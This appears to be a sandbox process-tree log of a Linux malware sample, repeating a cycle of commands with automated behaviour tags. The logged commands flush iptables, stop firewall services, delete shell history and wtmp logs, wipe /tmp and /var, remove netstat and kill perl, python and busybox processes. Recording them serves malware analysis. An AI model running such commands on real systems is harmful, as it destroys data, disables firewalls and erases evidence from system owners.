/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Flushes firewall rules
PID:854
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:855
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:856
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:857
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:858
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:859
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:841
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵PID:841
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:841
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:841
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:841
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵
- Enumerates kernel/hardware configuration
PID:841
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:847
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:846
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:860
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:861
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:862
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:863
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:864
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:865
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:866
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:867
-
/bin/rmrm -rf "/tmp/*"2⤵PID:868
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:869
-
/bin/rmrm -rf /bin/netstat2⤵PID:870
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:871
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:872
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:873
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:874
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:875
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:876
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:877
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:878
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:879
-
/usr/sbin/serviceservice iptables stop2⤵PID:880
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:881
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:882
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:883
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:887
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:888
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Flushes firewall rules
PID:889
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:890
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:891
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:892
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:893
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:894
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:895
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:896
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:897
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:898
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:880
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:880
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:880
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:880
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:880
-
-
/bin/systemctlsystemctl stop iptables.service2⤵PID:880
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:886
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:885
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:899
-
/sbin/iptables/sbin/iptables -F2⤵PID:901
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:902
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:903
-
/usr/sbin/serviceservice firewalld stop2⤵PID:904
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:906
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:907
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:908
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:912
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:913
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:914
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:915
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:916
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:917
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:918
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:919
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:920
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:921
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:922
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:923
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:904
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵PID:904
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵PID:904
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:904
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:904
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵
- Reads runtime system information
PID:904
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:910
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:911
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:924
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:925
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:926
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:927
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:928
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:929
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:930
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:931
-
/bin/rmrm -rf "/tmp/*"2⤵PID:932
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:933
-
/bin/rmrm -rf /bin/netstat2⤵PID:934
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:935
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:936
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:937
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:938
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:939
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:940
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:941
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
PID:942
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:943
-
/usr/sbin/serviceservice iptables stop2⤵PID:944
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:945
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:946
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:947
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:951
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:952
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:953
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:954
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:955
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:956
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:957
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:958
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:959
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:960
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Flushes firewall rules
PID:961
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Flushes firewall rules
PID:962
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:944
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:944
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:944
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:944
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:944
-
-
/bin/systemctlsystemctl stop iptables.service2⤵PID:944
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Flushes firewall rules
PID:949
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:950
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:963
-
/sbin/iptables/sbin/iptables -F2⤵PID:964
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:965
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:966
-
/usr/sbin/serviceservice firewalld stop2⤵PID:967
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:968
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:969
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:970
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:974
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:975
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:976
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:977
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:978
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:979
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:980
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:981
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:982
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:983
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Flushes firewall rules
PID:984
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:985
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:967
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:967
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵PID:967
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:967
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:967
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:967
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:973
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Flushes firewall rules
PID:972
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:988
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:989
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:990
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:991
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:992
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:993
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:994
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:995
-
/bin/rmrm -rf "/tmp/*"2⤵PID:996
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:997
-
/bin/rmrm -rf /bin/netstat2⤵PID:998
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:999
-
/sbin/iptablesiptables -F2⤵PID:1000
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:1001
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
PID:1002
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:1003
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1004
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:1005
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1006
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:1007
-
/usr/sbin/serviceservice iptables stop2⤵PID:1008
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1009
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1010
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:1011
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Flushes firewall rules
PID:1015
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:1018
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:1020
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Flushes firewall rules
PID:1021
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:1022
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:1023
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:1024
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:1025
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:1026
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Flushes firewall rules
PID:1027
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:1028
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:1029
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:1008
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:1008
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:1008
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:1008
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:1008
-
-
/bin/systemctlsystemctl stop iptables.service2⤵PID:1008
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1014
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵PID:1013
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:1030
-
/sbin/iptables/sbin/iptables -F2⤵PID:1031
-
-
/sbin/iptables/sbin/iptables -X2⤵PID:1032
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:1033
-
/usr/sbin/serviceservice firewalld stop2⤵PID:1034
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1035
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1036
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:1037
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:1041
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Flushes firewall rules
PID:1042
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:1043
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:1044
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:1045
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:1046
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:1047
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:1048
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Reads runtime system information
PID:1049
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:1050
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:1051
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:1052
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1034
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵
- Flushes firewall rules
PID:1034
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1034
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:1034
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1034
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵PID:1034
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1040
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Flushes firewall rules
PID:1039
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:1053
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:1054
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:1055
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:1056
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:1057
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:1058
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:1059
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:1060
-
/bin/rmrm -rf "/tmp/*"2⤵PID:1061
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:1062
-
/bin/rmrm -rf /bin/netstat2⤵PID:1063
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:1064
-
/sbin/iptablesiptables -F2⤵PID:1065
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:1066
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1067
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:1068
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1069
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:1070
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1071
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:1072
-
/usr/sbin/serviceservice iptables stop2⤵PID:1073
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1074
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1075
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Reads runtime system information
PID:1076
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:1080
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Flushes firewall rules
PID:1083
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Flushes firewall rules
PID:1084
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:1085
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:1086
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Flushes firewall rules
PID:1087
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Flushes firewall rules
PID:1088
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:1089
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:1090
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:1091
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:1092
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Flushes firewall rules
PID:1093
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵PID:1073
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵PID:1073
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:1073
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵PID:1073
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:1073
-
-
/bin/systemctlsystemctl stop iptables.service2⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:1073
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1079
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Flushes firewall rules
PID:1078
-
/bin/sh/bin/sh -c "/sbin/iptables -F; /sbin/iptables -X"1⤵PID:1094
-
/sbin/iptables/sbin/iptables -F2⤵PID:1095
-
-
/sbin/iptables/sbin/iptables -X2⤵
- Flushes firewall rules
PID:1096
-
-
/bin/sh/bin/sh -c "service firewalld stop"1⤵PID:1097
-
/usr/sbin/serviceservice firewalld stop2⤵PID:1098
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1099
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1100
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:1101
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1105
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:1106
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Flushes firewall rules
- Enumerates kernel/hardware configuration
PID:1107
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:1108
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:1109
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:1110
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵PID:1111
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Flushes firewall rules
- Reads runtime system information
PID:1112
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:1113
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:1114
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:1115
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:1116
-
-
-
/usr/local/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1098
-
-
/usr/local/bin/systemctlsystemctl stop firewalld.service2⤵PID:1098
-
-
/usr/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1098
-
-
/usr/bin/systemctlsystemctl stop firewalld.service2⤵PID:1098
-
-
/sbin/systemctlsystemctl stop firewalld.service2⤵PID:1098
-
-
/bin/systemctlsystemctl stop firewalld.service2⤵
- Enumerates kernel/hardware configuration
PID:1098
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"1⤵PID:1104
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"1⤵
- Enumerates kernel/hardware configuration
PID:1103
-
/bin/sh/bin/sh -c "rm -rf ~/.bash_history"1⤵PID:1117
-
/bin/rmrm -rf "~/.bash_history"2⤵PID:1118
-
-
/bin/sh/bin/sh -c "history -c"1⤵PID:1119
-
/bin/sh/bin/sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"1⤵PID:1120
-
/bin/rmrm -rf "/tmp/*" "/var/*" "/var/run/*" "/var/tmp/*"2⤵PID:1121
-
-
/bin/sh/bin/sh -c "rm -rf /var/log/wtmp"1⤵PID:1122
-
/bin/rmrm -rf /var/log/wtmp2⤵
- Deletes log files
PID:1123
-
-
/bin/sh/bin/sh -c "rm -rf /tmp/*"1⤵PID:1124
-
/bin/rmrm -rf "/tmp/*"2⤵PID:1125
-
-
/bin/sh/bin/sh -c "rm -rf /bin/netstat"1⤵PID:1126
-
/bin/rmrm -rf /bin/netstat2⤵PID:1127
-
-
/bin/sh/bin/sh -c "iptables -F"1⤵PID:1128
-
/sbin/iptablesiptables -F2⤵PID:1129
-
-
/bin/sh/bin/sh -c "pkill -9 busybox"1⤵PID:1130
-
/usr/bin/pkillpkill -9 busybox2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1131
-
-
/bin/sh/bin/sh -c "pkill -9 perl"1⤵PID:1132
-
/usr/bin/pkillpkill -9 perl2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1133
-
-
/bin/sh/bin/sh -c "pkill -9 python"1⤵PID:1134
-
/usr/bin/pkillpkill -9 python2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1135
-
-
/bin/sh/bin/sh -c "service iptables stop"1⤵PID:1136
-
/usr/sbin/serviceservice iptables stop2⤵PID:1137
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1138
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:1139
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:1140
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Flushes firewall rules
PID:1144
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵PID:1145
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Flushes firewall rules
PID:1146
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵PID:1147
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵PID:1148
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:1149
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:1150
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:1151
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:1152
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:1153
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:1154
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:1155
-
-
-
/usr/local/sbin/systemctlsystemctl stop iptables.service2⤵
- Flushes firewall rules
PID:1137
-
-
/usr/local/bin/systemctlsystemctl stop iptables.service2⤵
- Flushes firewall rules
PID:1137
-
-
/usr/sbin/systemctlsystemctl stop iptables.service2⤵PID:1137
-
-
/usr/bin/systemctlsystemctl stop iptables.service2⤵
- Flushes firewall rules
PID:1137
-
-
/sbin/systemctlsystemctl stop iptables.service2⤵PID:1137
-
-
